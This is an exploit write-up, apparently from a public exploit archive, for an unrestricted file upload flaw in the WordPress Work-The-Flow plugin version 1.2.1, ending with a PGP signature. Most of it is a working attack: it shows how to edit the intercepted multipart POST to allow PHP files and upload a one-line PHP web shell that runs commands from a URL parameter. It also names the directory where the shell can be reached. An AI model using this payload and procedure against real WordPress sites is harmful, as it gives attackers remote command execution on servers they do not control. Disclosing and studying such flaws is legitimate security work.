WordPress Work-The-Flow 1.2.1 Shell Upload

`# Author: nopesled  
# Date: 24/04/14  
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/  
# Company: http://wtf-fu.com/  
# Version: 1.2.1  
# Tested on: Windows 7  
# Vulnerability: Unrestricted File Upload  
  
  
Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php  
  
By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP.  
  
Append '|php':  
  
- ----------------------------123456789123456\r\n  
Content-Disposition: form-data; name="accept_file_types"\r\n  
\r\n  
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n  
  
  
Now change the extension in the data for 'filename' to '.php' and enter your desired code like so  
  
- ----------------------------123456789123456\r\n  
Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n  
Content-Type: application/octet-stream\r\n  
\r\n  
<?php\n  
system($_GET[\'cmd\']);\n  
?>\n  
- ----------------------------123456789123456--\r\n  
  
Submit this POST request and you will find your file in the directory:  
/wp-content/uploads/public/wtf-fu_files/default/  
  
It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not.  
  
###################################  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Signed.  
-----BEGIN PGP SIGNATURE-----  
Version: Keybase OpenPGP v0.1.11  
Comment: https://keybase.io/crypto  
  
wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L  
2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy  
jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng  
KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+  
Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT  
gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o=  
=5nDI  
-----END PGP SIGNATURE-----  
###################################  
  
`